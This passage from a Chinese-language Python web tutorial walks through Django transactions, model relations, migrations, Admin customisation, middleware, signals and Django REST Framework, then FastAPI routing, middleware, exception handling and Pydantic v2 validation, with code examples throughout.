order.total = product.price * quantity
order.save()
return order
# 方式 2:装饰器(整个函数在一个事务中)
@transaction.atomic
def transfer_money(from_id, to_id, amount):
from_account = Account.objects.select_for_update().get(id=from_id)
to_account = Account.objects.select_for_update().get(id=to_id)
if from_account.balance < amount:
raise ValueError("余额不足")
from_account.balance -= amount
to_account.balance += amount
from_account.save()
to_account.save()
# 方式 3:保存点(嵌套事务)
def complex_operation():
with transaction.atomic(): # 外层事务
do_something()
try:
with transaction.atomic(): # 内层事务(保存点)
risky_operation()
except Exception:
# 内层失败,回滚到保存点,外层继续
pass
do_something_else()
现实世界的数据不是孤立的——用户有订单,订单有商品,商品属于分类。模型关系描述这些联系。
# 一对多(ForeignKey)—— 一个分类有多篇文章
class Article(models.Model):
category = models.ForeignKey(
Category,
on_delete=models.CASCADE, # 分类删除时,文章也删除
related_name='articles' # 反向查询:category.articles.all()
)
# 多对多(ManyToManyField)—— 一篇文章有多个标签,一个标签属于多篇文章
class Article(models.Model):
tags = models.ManyToManyField('Tag', related_name='articles', blank=True)
class Tag(models.Model):
name = models.CharField(max_length=50)
# 使用
article.tags.add(tag1, tag2) # 添加标签
article.tags.remove(tag1) # 移除标签
article.tags.all() # 查看所有标签
tag.articles.all() # 反向查询:有这个标签的所有文章
# 一对一(OneToOneField)—— 一个用户对应一个用户详情
class UserProfile(models.Model):
user = models.OneToOneField(User, on_delete=models.CASCADE, related_name='profile')
bio = models.TextField(blank=True)
avatar = models.URLField(blank=True)
# 使用
user.profile.bio # 一对一反向查询(不需要 .all())
| 策略 | 含义 | 场景 |
|---|---|---|
CASCADE | 级联删除 | 分类删了,文章也删 |
PROTECT | 阻止删除 | 分类下有文章时,不允许删分类 |
SET_NULL | 设为 NULL | 分类删了,文章的 category_id 变 NULL |
SET_DEFAULT | 设为默认值 | 分类删了,文章归到"未分类" |
# 1. 修改 models.py 后,生成迁移文件
python manage.py makemigrations blog
# 输出:blog/migrations/0001_initial.py
# 2. 查看迁移会执行什么 SQL
python manage.py sqlmigrate blog 0001
# 3. 执行迁移
python manage.py migrate
# 4. 回滚迁移(回到指定版本)
python manage.py migrate blog 0001 # 回到 0001 版本
# 当你需要迁移数据(如给现有记录填充默认值),用 RunPython
# blog/migrations/0002_populate_slug.py
from django.db import migrations
def populate_slug(apps, schema_editor):
Article = apps.get_model('blog', 'Article')
for article in Article.objects.all():
article.slug = article.title.lower().replace(' ', '-')
article.save()
class Migration(migrations.Migration):
dependencies = [('blog', '0001_initial')]
operations = [
migrations.RunPython(populate_slug, migrations.RunPython.noop),
]
migrations 目录下的文件是项目的一部分,必须提交到版本控制。其他开发者 pull 代码后,运行 python manage.py migrate 就能把数据库更新到最新状态。
① 先备份数据库再迁移。② 大表加字段(如加 NOT NULL 列)可能锁表,用 default= 参数避免。③ 删除字段分两步:先部署代码停止使用该字段 → 再运行迁移删除。④ 永远先在测试环境验证迁移。
Django Admin 是 Django 的"杀手锏"——几行代码就能自动生成一个功能完整的后台管理系统。对于内部管理、内容审核、数据维护等场景,它能节省大量开发时间。
# blog/admin.py — 最简单的注册
from django.contrib import admin
from .models import Article, Category, Tag
admin.site.register(Article)
admin.site.register(Category)
admin.site.register(Tag)
# 访问 http://127.0.0.1:8000/admin/ 就能看到管理界面
# 创建管理员账号
# python manage.py createsuperuser
@admin.register(Article)
class ArticleAdmin(admin.ModelAdmin):
# 列表页配置
list_display = ['id', 'title', 'category', 'status', 'views', 'created_at']
list_display_links = ['title'] # 点击标题进入编辑
list_editable = ['status'] # 直接在列表页修改状态
list_filter = ['status', 'category', 'created_at'] # 右侧过滤器
search_fields = ['title', 'content'] # 搜索框
list_per_page = 20 # 每页显示条数
date_hierarchy = 'created_at' # 日期导航
# 编辑页配置
fieldsets = (
('基本信息', {'fields': ('title', 'category', 'tags')}),
('内容', {'fields': ('content', 'status')}),
('统计', {'fields': ('views',), 'classes': ('collapse',)}), # 可折叠
)
filter_horizontal = ['tags'] # 标签多选框(比默认的好用)
@admin.register(Category)
class CategoryAdmin(admin.ModelAdmin):
list_display = ['name', 'article_count', 'created_at']
def article_count(self, obj):
return obj.articles.count()
article_count.short_description = '文章数'
# 在编辑分类时,直接编辑该分类下的文章
class ArticleInline(admin.TabularInline): # 表格式内联
model = Article
extra = 1 # 默认显示1个空行
fields = ['title', 'status']
@admin.register(Category)
class CategoryAdmin(admin.ModelAdmin):
list_display = ['name']
inlines = [ArticleInline] # 添加内联
@admin.register(Article)
class ArticleAdmin(admin.ModelAdmin):
list_display = ['title', 'status', 'created_at']
actions = ['make_published', 'make_draft', 'export_as_csv']
@admin.action(description='发布选中文章')
def make_published(self, request, queryset):
updated = queryset.update(status='published')
self.message_user(request, f'成功发布 {updated} 篇文章')
@admin.action(description='设为草稿')
def make_draft(self, request, queryset):
queryset.update(status='draft')
@admin.action(description='导出为 CSV')
def export_as_csv(self, request, queryset):
import csv
from django.http import HttpResponse
response = HttpResponse(content_type='text/csv')
response['Content-Disposition'] = 'attachment; filename=articles.csv'
writer = csv.writer(response)
writer.writerow(['ID', '标题', '状态', '创建时间'])
for article in queryset:
writer.writerow([article.id, article.title, article.status, article.created_at])
return response
@admin.register(Article)
class ArticleAdmin(admin.ModelAdmin):
list_display = ['title', 'author', 'status', 'views', 'created_at']
readonly_fields = ['views', 'created_at', 'updated_at'] # 只读字段不可编辑
# 重写 queryset —— 非超级管理员只能看自己的文章
def get_queryset(self, request):
qs = super().get_queryset(request)
if request.user.is_superuser:
return qs
return qs.filter(author=request.user)
# 保存时自动设置作者
def save_model(self, request, obj, form, change):
if not change: # 新建时
obj.author = request.user
super().save_model(request, obj, form, change)
# 控制字段显示权限
def get_readonly_fields(self, request, obj=None):
if request.user.is_superuser:
return ['views', 'created_at'] # 超管只看部分只读
return ['views', 'created_at', 'author', 'status'] # 普通管理员更多只读
# Django 自带权限系统
# 每个 Model 自动创建三个权限:add_XXX、change_XXX、delete_XXX
# 自定义权限:
class Article(models.Model):
class Meta:
permissions = [
('can_publish', '可以发布文章'),
('can_feature', '可以置顶文章'),
]
# 在 Admin 中检查权限
@admin.register(Article)
class ArticleAdmin(admin.ModelAdmin):
def has_publish_permission(self, request):
return request.user.has_perm('blog.can_publish')
def get_list_display(self, request):
"""根据权限动态调整列表列"""
if request.user.has_perm('blog.can_publish'):
return ['title', 'status', 'author', 'views']
return ['title', 'author'] # 普通用户看不到状态
# 用 Groups 批量管理权限
# 1. 后台创建"编辑"组,勾选 add_article、change_article
# 2. 把用户加入"编辑"组,自动获得对应权限
# myapp/admin.py
from django.contrib import admin
# 修改站点标题和头部
admin.site.site_header = '我的博客管理系统'
admin.site.site_title = '博客后台'
admin.site.index_title = '数据管理'
# 自定义 AdminSite(更深度定制)
from django.contrib.admin import AdminSite
class MyAdminSite(AdminSite):
site_header = '我的管理系统'
site_title = '管理后台'
def get_app_list(self, request):
"""自定义首页应用排序"""
app_list = super().get_app_list(request)
# 按自定义顺序排列
ordering = {'博客管理': 1, '用户管理': 2}
app_list.sort(key=lambda x: ordering.get(x['name'], 99))
return app_list
my_admin = MyAdminSite(name='myadmin')
# urls.py: path('manage/', my_admin.urls)
# 覆盖默认模板(在 templates/admin/ 目录下)
# templates/admin/change_list.html — 列表页
# templates/admin/change_form.html — 编辑页
# templates/admin/index.html — 首页
# 示例:在列表页顶部添加统计信息
# templates/admin/blog/article/change_list.html
{% extends "admin/change_list.html" %}
{% block content_title %}
{{ block.super }}
<div style="padding:10px;background:#f0f4ff;border-radius:8px;margin-bottom:16px">
📊 总文章数:{{ cl.result_count }} |
今日新增:{{ today_count }} |
待审核:{{ pending_count }}
</div>
{% endblock %}
# pip install django-import-export
# admin.py
from import_export import resources
from import_export.admin import ImportExportModelAdmin
class ArticleResource(resources.ModelResource):
class Meta:
model = Article
fields = ['id', 'title', 'content', 'status', 'created_at']
export_order = fields # 导出列顺序
@admin.register(Article)
class ArticleAdmin(ImportExportModelAdmin):
resource_class = ArticleResource
list_display = ['title', 'status', 'created_at']
# Admin 界面会多出"导入"和"导出"按钮
① 内部运营管理系统(内容审核、用户管理)。② 快速原型验证(先用 Admin 管理数据,再开发前端)。③ 数据维护(批量导入导出、数据修正)。④ CRM、ERP 等内部工具。不适合面向终端用户的场景——它的 UI 不够灵活,权限控制也不够细。
① 生产环境的 Admin 路径不要用默认的 /admin/——改成 /manage-secret/ 之类的隐蔽路径。② 加上 IP 白名单或双重认证。③ Admin 权限要严格控制,不要给运营人员 superuser 权限。④ 用 django-admin-honeypot 假 Admin 页面诱捕攻击者。⑤ 开启 Admin 操作日志(默认记录在 django_admin_log 表)。
① 用 list_select_related 减少 N+1 查询:list_select_related = ['author', 'category']。② 用 list_prefetch_related 预取多对多关系。③ 大表用 show_full_result_count = False 关闭总数统计(避免 COUNT 慢查询)。④ 自定义 get_queryset 只查需要的字段。
中间件是 Django 处理请求/响应的"管道"——每个请求和响应都会经过所有中间件。信号是 Django 的"事件系统"——当某个动作发生时(如模型保存),自动触发回调。
# blog/middleware.py
import time
import logging
logger = logging.getLogger(__name__)
class RequestTimingMiddleware:
"""统计每个请求的处理时间"""
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
# 请求前:记录开始时间
start = time.time()
# 处理请求
response = self.get_response(request)
# 请求后:计算耗时
elapsed = time.time() - start
response['X-Request-Time'] = f'{elapsed:.3f}s'
if elapsed > 1:
logger.warning(f'慢请求: {request.path} 耗时 {elapsed:.3f}s')
return response
# 在 settings.py 中注册
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'blog.middleware.RequestTimingMiddleware', # 放在最后
]
# blog/signals.py
from django.db.models.signals import pre_save, post_save, post_delete
from django.dispatch import receiver
from .models import Article
@receiver(pre_save, sender=Article)
def article_pre_save(sender, instance, **kwargs):
"""文章保存前:自动生成 slug"""
if not instance.slug:
instance.slug = instance.title.lower().replace(' ', '-')
@receiver(post_save, sender=Article)
def article_post_save(sender, instance, created, **kwargs):
"""文章保存后:发送通知"""
if created:
print(f'新文章创建: {instance.title}')
# 可以在这里发邮件、写日志、更新缓存等
@receiver(post_delete, sender=Article)
def article_post_delete(sender, instance, **kwargs):
"""文章删除后:清理关联数据"""
print(f'文章已删除: {instance.title}')
# blog/apps.py — 注册信号
class BlogConfig(AppConfig):
name = 'blog'
def ready(self):
import blog.signals # 导入信号模块
# 中间件的执行顺序(洋葱模型):
# 请求阶段(从上到下):
# M1.__call__ → M2.__call__ → M3.__call__ → View
# 响应阶段(从下到上):
# View → M3.__call__ → M2.__call__ → M1.__call__
# 完整流程:
# 1. M1 请求前代码
# 2. M2 请求前代码
# 3. M3 请求前代码
# 4. View 执行
# 5. M3 响应后代码
# 6. M2 响应后代码
# 7. M1 响应后代码
# 这意味着:
# - 放在 MIDDLEWARE 列表前面的中间件,最先处理请求,最后处理响应
# - 如果 M1 返回了响应,M2、M3、View 都不会执行(请求被拦截)
# 示例:权限检查中间件
class PermissionMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
# 请求前:检查权限
if request.path.startswith('/admin/') and not request.user.is_staff:
return JsonResponse({'error': 'Forbidden'}, status=403)
response = self.get_response(request)
# 响应后:添加自定义 Header
response['X-Custom-Header'] = 'value'
return response
# 除了 __call__,中间件还可以定义其他钩子:
class MyMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
# 请求阶段
response = self.get_response(request)
# 响应阶段
return response
def process_view(self, request, view_func, view_args, view_kwargs):
"""在视图函数执行前调用(URL 路由之后)"""
# 可以用于:权限检查、参数预处理
# 返回 None:继续执行视图
# 返回 HttpResponse:跳过视图,直接返回
print(f"即将调用视图: {view_func.__name__}")
return None
def process_exception(self, request, exception):
"""视图抛出异常时调用"""
# 可以用于:全局错误处理、错误上报
# 返回 None:继续默认异常处理
# 返回 HttpResponse:自定义异常响应
logger.error(f"视图异常: {exception}", exc_info=True)
return JsonResponse({'error': str(exception)}, status=500)
def process_template_response(self, request, response):
"""视图返回 TemplateResponse 时调用"""
# 可以用于:动态修改模板上下文
if hasattr(response, 'context_data'):
response.context_data['extra'] = 'value'
return response
# Django 内置中间件的功能:
# - SecurityMiddleware:HTTPS 重定向、HSTS、X-Content-Type-Options
# - SessionMiddleware:加载/保存 Session
# - CsrfViewMiddleware:CSRF Token 验证
# - AuthenticationMiddleware:加载 request.user
# - CommonMiddleware:URL 尾部斜杠、Content-Length
中间件处理的是请求级别的逻辑(认证检查、日志记录、CORS),每个 HTTP 请求都会经过。信号处理的是模型级别的逻辑(数据保存前后、删除后),只在特定模型操作时触发。不要用信号做认证(用中间件),也不要用中间件做数据同步(用信号)。
信号中的代码不容易调试——它在后台默默执行,出错时不容易发现。如果逻辑复杂,建议在视图中显式调用函数而不是用信号。信号适合"触发式"的轻量操作。
Django REST Framework(DRF)是 Django 生态中最流行的 API 框架——它让 Django 从"全栈 Web 框架"变成了"API 服务器"。几乎所有用 Django 做后端 API 的公司都用 DRF。
# blog/serializers.py
from rest_framework import serializers
from .models import Article, Category
class ArticleSerializer(serializers.ModelSerializer):
category_name = serializers.CharField(source='category.name', read_only=True)
class Meta:
model = Article
fields = ['id', 'title', 'content', 'status', 'category', 'category_name', 'views', 'created_at']
read_only_fields = ['views', 'created_at']
def validate_title(self, value):
if len(value) < 5:
raise serializers.ValidationError('标题至少5个字符')
return value
class ArticleCreateSerializer(serializers.ModelSerializer):
class Meta:
model = Article
fields = ['title', 'content', 'category', 'status']
# blog/views.py
from rest_framework import viewsets, status, permissions, filters
from rest_framework.response import Response
from django_filters.rest_framework import DjangoFilterBackend
from .models import Article
from .serializers import ArticleSerializer, ArticleCreateSerializer
class ArticleViewSet(viewsets.ModelViewSet):
queryset = Article.objects.filter(is_deleted=False)
serializer_class = ArticleSerializer
permission_classes = [permissions.IsAuthenticatedOrReadOnly]
# 过滤、搜索、排序
filter_backends = [DjangoFilterBackend, filters.SearchFilter, filters.OrderingFilter]
filterset_fields = ['status', 'category'] # 精确过滤
search_fields = ['title', 'content'] # 模糊搜索
ordering_fields = ['created_at', 'views'] # 排序字段
def get_serializer_class(self):
if self.action == 'create':
return ArticleCreateSerializer
return ArticleSerializer
def perform_create(self, serializer):
serializer.save(author=self.request.user) # 自动设置当前用户为作者
def perform_destroy(self, instance):
instance.is_deleted = True # 软删除
instance.save()
# blog/urls.py
from rest_framework.routers import DefaultRouter
from .views import ArticleViewSet
router = DefaultRouter()
router.register('articles', ArticleViewSet) # 自动生成 CRUD 路由
urlpatterns = router.urls
# 自动生成:
# GET /articles/ → list(列表)
# POST /articles/ → create(创建)
# GET /articles/{id}/ → retrieve(详情)
# PUT /articles/{id}/ → update(更新)
# PATCH /articles/{id}/ → partial_update(部分更新)
# DELETE /articles/{id}/ → destroy(删除)
# settings.py — DRF 全局配置
REST_FRAMEWORK = {
'DEFAULT_AUTHENTICATION_CLASSES': [
'rest_framework_simplejwt.authentication.JWTAuthentication', # JWT 认证
'rest_framework.authentication.SessionAuthentication', # Session(开发用)
],
'DEFAULT_PERMISSION_CLASSES': [
'rest_framework.permissions.IsAuthenticatedOrReadOnly', # 登录可写,未登录可读
],
'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.PageNumberPagination',
'PAGE_SIZE': 20,
'DEFAULT_THROTTLE_CLASSES': [
'rest_framework.throttling.AnonRateThrottle',
'rest_framework.throttling.UserRateThrottle',
],
'DEFAULT_THROTTLE_RATES': {
'anon': '100/hour', # 匿名用户每小时 100 次
'user': '1000/hour', # 登录用户每小时 1000 次
}
}
AllowAny(任何人)、IsAuthenticated(必须登录)、IsAdminUser(管理员)、IsAuthenticatedOrReadOnly(登录可写,未登录可读)。也可以自定义权限类实现细粒度控制(如"只有作者能编辑自己的文章")。
DRF 自带一个 Web 浏览器界面——在浏览器访问 /articles/ 会看到格式化的 JSON 响应,还能直接在页面上测试 POST/PUT/DELETE。开发调试非常方便。
# 嵌套序列化:关联对象的详细信息
class AuthorSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = ['id', 'username', 'email']
class ArticleDetailSerializer(serializers.ModelSerializer):
# 嵌套序列化:返回完整的作者信息(不只是 ID)
author = AuthorSerializer(read_only=True)
# 多对多字段:返回标签列表
tags = serializers.StringRelatedField(many=True, read_only=True)
# 自定义计算字段
reading_time = serializers.SerializerMethodField()
class Meta:
model = Article
fields = ['id', 'title', 'content', 'author', 'tags', 'reading_time', 'created_at']
def get_reading_time(self, obj):
"""计算阅读时间(假设每分钟 200 字)"""
word_count = len(obj.content)
return max(1, word_count // 200)
# 创建时处理嵌套写入
class ArticleCreateSerializer(serializers.ModelSerializer):
# 写入时用 PrimaryKeyRelatedField
tags = serializers.PrimaryKeyRelatedField(
many=True, queryset=Tag.objects.all(), required=False
)
class Meta:
model = Article
fields = ['title', 'content', 'category', 'tags']
def create(self, validated_data):
tags = validated_data.pop('tags', [])
article = Article.objects.create(**validated_data)
article.tags.set(tags)
return article
from rest_framework import permissions
class IsAuthorOrReadOnly(permissions.BasePermission):
"""只有作者能编辑,其他人只能读"""
def has_object_permission(self, request, view, obj):
# 读权限:所有人
if request.method in permissions.SAFE_METHODS:
return True
# 写权限:只有作者
return obj.author == request.user
class IsAdminOrIsSelf(permissions.BasePermission):
"""管理员可以操作所有人,普通用户只能操作自己"""
def has_object_permission(self, request, view, obj):
return request.user.is_staff or obj == request.user
# 使用
class ArticleViewSet(viewsets.ModelViewSet):
permission_classes = [IsAuthenticated, IsAuthorOrReadOnly]
from rest_framework import generics, mixins
# ModelViewSet = CreateModelMixin + RetrieveModelMixin + UpdateModelMixin
# + DestroyModelMixin + ListModelMixin + GenericViewSet
# 自定义组合:只开放 list 和 create
class ArticleListCreateView(mixins.ListModelMixin,
mixins.CreateModelMixin,
generics.GenericViewSet):
queryset = Article.objects.all()
serializer_class = ArticleSerializer
def get_serializer_class(self):
if self.action == 'create':
return ArticleCreateSerializer
return ArticleSerializer
# 自动拥有 list() 和 create() 方法
# 自定义 action
from rest_framework.decorators import action
class ArticleViewSet(viewsets.ModelViewSet):
@action(detail=True, methods=['post'])
def publish(self, request, pk=None):
"""自定义操作:发布文章"""
article = self.get_object()
article.status = 'published'
article.save()
return Response({'status': 'published'})
@action(detail=False, methods=['get'])
def popular(self, request):
"""自定义操作:热门文章"""
articles = self.queryset.filter(views__gte=1000)[:10]
serializer = self.get_serializer(articles, many=True)
return Response(serializer.data)
from rest_framework.views import exception_handler
from rest_framework.response import Response
def custom_exception_handler(exc, context):
"""统一错误响应格式"""
response = exception_handler(exc, context)
if response is not None:
# response.data 可能是 dict(如 {"detail": "..."})或 list(如校验错误列表)
detail = response.data.get('detail', '请求错误') if isinstance(response.data, dict) else str(response.data)
response.data = {
'code': response.status_code,
'message': detail,
'errors': response.data,
}
else:
# 未处理的异常(500 错误)
response = Response(
{'code': 500, 'message': '服务器内部错误'},
status=500
)
return response
# settings.py
REST_FRAMEWORK = {
'EXCEPTION_HANDLER': 'blog.exceptions.custom_exception_handler',
}
FastAPI 是 Python Web 框架的新星——原生异步、自动文档、类型安全,性能接近 Go/Node.js。它是构建 API 服务(特别是 AI 应用后端)的首选框架。
如果 Flask 是手动挡汽车,FastAPI 就是自动驾驶汽车——你只需要告诉它目的地(定义函数签名),它自动帮你处理参数校验、文档生成、序列化。你写的类型提示就是"导航指令"。
# 安装:pip install fastapi uvicorn
from fastapi import FastAPI
app = FastAPI(title="我的 API", version="1.0.0")
@app.get("/")
def root():
return {"message": "Hello, FastAPI!"}
@app.get("/users/{user_id}")
def get_user(user_id: int): # 类型提示自动校验:必须是整数
return {"user_id": user_id, "name": "张三"}
# 启动:uvicorn main:app --reload
# 访问 http://127.0.0.1:8000/docs 查看自动文档
FastAPI 自动生成两套交互式 API 文档:
from fastapi import FastAPI, Query, Path, Body
from pydantic import BaseModel, Field
from typing import Optional
app = FastAPI()
# 路径参数
@app.get("/items/{item_id}")
def read_item(
item_id: int = Path(..., title="物品ID", ge=1), # 路径参数,必须 >= 1
):
return {"item_id": item_id}
# 查询参数
@app.get("/search/")
def search(
q: str = Query(..., min_length=1, max_length=50), # 必填,1-50 字符
page: int = Query(1, ge=1), # 可选,默认 1
size: int = Query(20, ge=1, le=100), # 可选,默认 20,最大 100
):
return {"q": q, "page": page, "size": size}
# 请求体
class ItemCreate(BaseModel):
name: str
description: Optional[str] = None
price: float = Field(..., gt=0) # 必须 > 0
tags: list[str] = []
@app.post("/items/", status_code=201)
def create_item(item: ItemCreate): # 自动解析 JSON 请求体
return {"item": item.model_dump(), "message": "创建成功"}
from pydantic import BaseModel
class UserOut(BaseModel):
id: int
name: str
email: str
model_config = {'from_attributes': True} # 支持从 ORM 对象转换
@app.get("/users/{user_id}", response_model=UserOut)
def get_user(user_id: int):
user = db.session.get(User, user_id)
return user # 自动过滤掉不在 UserOut 中的字段
FastAPI 的核心理念:你写的 Python 类型提示同时充当三个角色:① API 文档(自动生成 Swagger);② 请求校验(自动检查参数类型和范围);③ 响应序列化(自动过滤多余字段)。写一次代码,三重收益。
FastAPI 支持同步和异步函数。如果你的函数里没有 await,用 def 就行——FastAPI 会自动放到线程池执行。如果有数据库等 I/O 操作,推荐用 async def + 异步驱动(如 asyncpg、motor)。
# 项目结构
# myproject/
# ├── app/
# │ ├── __init__.py
# │ ├── main.py # 应用入口
# │ ├── routers/ # 路由模块
# │ │ ├── __init__.py
# │ │ ├── users.py
# │ │ ├── articles.py
# │ │ └── auth.py
# │ ├── models/ # 数据模型
# │ ├── schemas/ # Pydantic 模型
# │ ├── services/ # 业务逻辑
# │ ├── dependencies.py # 依赖注入
# │ └── config.py # 配置
# app/routers/users.py
from fastapi import APIRouter, Depends, HTTPException
from app.schemas import UserCreate, UserOut
from app.dependencies import get_db
router = APIRouter(
prefix="/users", # URL 前缀
tags=["users"], # 文档分组
responses={404: {"description": "Not found"}},
)
@router.get("/", response_model=list[UserOut])
def list_users(db=Depends(get_db)): # 同步 SQLAlchemy 用 def,不要用 async def(会阻塞事件循环)
return db.query(User).all()
@router.get("/{user_id}", response_model=UserOut)
def get_user(user_id: int, db=Depends(get_db)):
user = db.session.get(User, user_id)
if not user:
raise HTTPException(404, "用户不存在")
return user
# app/main.py
from fastapi import FastAPI
from app.routers import users, articles, auth
app = FastAPI()
app.include_router(users.router)
app.include_router(articles.router)
app.include_router(auth.router, prefix="/auth", tags=["auth"])
from fastapi import FastAPI, Request
from fastapi.middleware.cors import CORSMiddleware
from fastapi.middleware.gzip import GZipMiddleware
import time
app = FastAPI()
# CORS 中间件
app.add_middleware(
CORSMiddleware,
allow_origins=["https://yourdomain.com"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
# GZip 压缩中间件
app.add_middleware(GZipMiddleware, minimum_size=1000)
# 自定义中间件:请求耗时
@app.middleware("http")
async def add_timing_header(request: Request, call_next):
start = time.time()
response = await call_next(request)
elapsed = time.time() - start
response.headers["X-Request-Time"] = f"{elapsed:.3f}s"
return response
# 自定义中间件:请求 ID
@app.middleware("http")
async def add_request_id(request: Request, call_next):
import uuid
request_id = str(uuid.uuid4())
request.state.request_id = request_id
response = await call_next(request)
response.headers["X-Request-ID"] = request_id
return response
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse
app = FastAPI()
# 自定义异常类
class AppError(Exception):
def __init__(self, code: int, message: str):
self.code = code
self.message = message
class NotFoundError(AppError):
def __init__(self, resource: str = "资源"):
super().__init__(404, f"{resource}不存在")
class AuthError(AppError):
def __init__(self, message: str = "未授权"):
super().__init__(401, message)
# 全局异常处理器
@app.exception_handler(AppError)
async def app_error_handler(request: Request, exc: AppError):
return JSONResponse(
status_code=exc.code,
content={"code": exc.code, "message": exc.message}
)
@app.exception_handler(Exception)
async def global_error_handler(request: Request, exc: Exception):
# 记录错误日志
import logging
logging.error(f"未处理异常: {exc}", exc_info=True)
return JSONResponse(
status_code=500,
content={"code": 500, "message": "服务器内部错误"}
)
# 使用
@app.get("/items/{item_id}")
async def get_item(item_id: int):
item = db.get(item_id)
if not item:
raise NotFoundError("物品")
return item
from contextlib import asynccontextmanager
from fastapi import FastAPI
@asynccontextmanager
async def lifespan(app: FastAPI):
# 启动时执行
print("应用启动:初始化数据库连接、预热缓存")
await init_db()
await warm_up_cache()
yield # 应用运行期间
# 关闭时执行
print("应用关闭:清理资源")
await close_db_connections()
app = FastAPI(lifespan=lifespan)
# 替代已废弃的 @app.on_event("startup") 和 @app.on_event("shutdown")
Pydantic 是 FastAPI 的"心脏"——所有请求校验、响应序列化都靠它。它用 Python 类型提示定义数据结构,自动校验、自动转换。
from pydantic import BaseModel, Field, field_validator, model_validator
from typing import Optional
from datetime import datetime
class UserCreate(BaseModel):
name: str = Field(..., min_length=2, max_length=50, description="用户名")
age: int = Field(..., ge=0, le=150, description="年龄")
email: str = Field(..., description="邮箱")
phone: Optional[str] = None # 可选字段
tags: list[str] = [] # 默认空列表
created_at: datetime = Field(default_factory=datetime.now)
@field_validator('email')
@classmethod
def validate_email(cls, v):
if '@' not in v:
raise ValueError('邮箱格式不正确')
return v.lower() # 自动转小写
@model_validator(mode='after')
def check_age_email(self):
if self.age < 18 and self.email.endswith('.com'):
raise ValueError('未成年不能使用 .com 邮箱')
return self
class Address(BaseModel):
city: str
street: str
zip_code: str
class UserOut(BaseModel):
id: int
name: str
address: Address # 嵌套模型
tags: list[str]
# FastAPI 中使用
@app.post("/users", response_model=UserOut)
def create_user(user: UserCreate):
# user.address.city 自动校验嵌套结构
return {"id": 1, "name": user.name, "address": {"city": "北京", "street": "长安街", "zip_code": "100000"}, "tags": user.tags}
| 参数 | 作用 | 示例 |
|---|---|---|
default | 默认值 | Field(default=0) |
... | 必填 | Field(...) |
ge / le / gt / lt | 数值范围 | Field(ge=0, le=100) |
min_length / max_length | 字符串长度 | Field(min_length=1) |
pattern | 正则匹配 | Field(pattern=r'^\d{11}$') |
description | 文档描述 | Field(description="用户年龄") |
examples | 示例值 | Field(examples=["张三"]) |
Pydantic v2 用 Rust 重写了核心,校验速度提升了 5-50 倍。class Config 改成了 model_config,@validator 改成了 @field_validator,.dict() 改成了 .model_dump()。FastAPI 0.100+ 默认使用 Pydantic v2。
# 自定义类型
from pydantic import BaseModel, GetCoreSchemaHandler
from pydantic_core import core_schema
from typing import Annotated
# 手机号自定义类型
class PhoneNumber(str):
@classmethod
def __get_pydantic_core_schema__(cls, source, handler):
return core_schema.no_info_after_validator_function(
cls._validate,
core_schema.str_schema(),
)
@classmethod
def _validate(cls, v):
if not v.startswith('+') or len(v) < 11:
raise ValueError('手机号格式不正确,需要国际格式如 +8613800138000')
return cls(v)
class UserCreate(BaseModel):
name: str
phone: PhoneNumber
# 序列化控制——输出模型不应包含敏感字段
class UserOut(BaseModel):
id: int
name: str
email: str
# 注意:password_hash 不应出现在输出模型中,从源头排除
model_config = {
'from_attributes': True,
}
# 内部使用的模型(含密码哈希,仅限后端内部传递)
class UserInDB(UserOut):
password_hash: str
# 从 ORM 对象转换时排除敏感字段
user_data = user.model_dump(exclude={'password_hash'})
# 别名(API 字段名和 Python 变量名不同)
class Product(BaseModel):
name: str
price_cents: int = Field(alias='price') # API 用 price,内部用 price_cents
model_config = {'populate_by_name': True} # 允许用原始名或别名
# 自定义中文错误信息
from pydantic import BaseModel, Field, field_validator
from pydantic_core import PydanticCustomError
class UserCreate(BaseModel):
name: str = Field(..., min_length=2, max_length=50)
age: int = Field(..., ge=0, le=150)
email: str
@field_validator('name')
@classmethod
def name_must_be_valid(cls, v):
if not v.strip():
raise PydanticCustomError(
'name_empty',
'用户名不能为空',
)
if any(c in v for c in '<>{}'):
raise PydanticCustomError(
'name_invalid_chars',
'用户名不能包含特殊字符',
)
return v.strip()
@field_validator('age')
@classmethod
def age_must_be_reasonable(cls, v):
if v < 0:
raise PydanticCustomError('age_negative', '年龄不能为负数')
if v > 150:
raise PydanticCustomError('age_too_large', '年龄不能超过 150 岁')
return v
# FastAPI 中自定义错误响应
from fastapi import Request
from fastapi.responses import JSONResponse
from fastapi.exceptions import RequestValidationError # 需要导入
@app.exception_handler(RequestValidationError)
async def validation_exception_handler(request: Request, exc):
errors = []
for error in exc.errors():
field = ' -> '.join(str(loc) for loc in error['loc'])
errors.append({"field": field, "message": error['msg']})
return JSONResponse(
status_code=422,
content={"code": 422, "message": "参数校验失败", "errors": errors}
)
# v1 → v2 主要变化
# 1. Config 类 → model_config 字典
class User(BaseModel):
name: str
class Config: # v1
orm_mode = True
model_config = {'from_attributes': True} # v2 ✅
# 2. @validator → @field_validator
@validator('name') # v1
@field_validator('name') # v2 ✅ (加 @classmethod)
# 3. .dict() → .model_dump()
user.dict() # v1
user.model_dump() # v2 ✅
# 4. .json() → .model_dump_json()
user.json() # v1
user.model_dump_json() # v2 ✅
# 5. parse_obj → model_validate
User.parse_obj(data) # v1
User.model_validate(data) # v2 ✅
# 6. schema() → model_json_schema()
User.schema() # v1
User.model_json_schema() # v2 ✅
Pydantic 会返回非常详细的错误信息,告诉用户哪个字段出了什么问题。前端可以直接展示这些错误。用自定义异常处理器可以返回中文错误信息。生产环境建议统一错误格式。
① 输入和输出用不同的 Schema(CreateSchema vs ResponseSchema)。② 敏感字段用 exclude 排除。③ 用 computed_field 添加计算字段。④ 用 Annotated 类型组合约束。⑤ 启动时用 Pydantic 验证配置(Settings)。⑥ v2 性能比 v1 快 5-50 倍,尽快迁移。
# pip install pydantic-settings
from pydantic_settings import BaseSettings
from pydantic import Field
from functools import lru_cache
class Settings(BaseSettings):
"""应用配置(自动从环境变量读取)"""
# 应用配置
app_name: str = "My API"
debug: bool = False
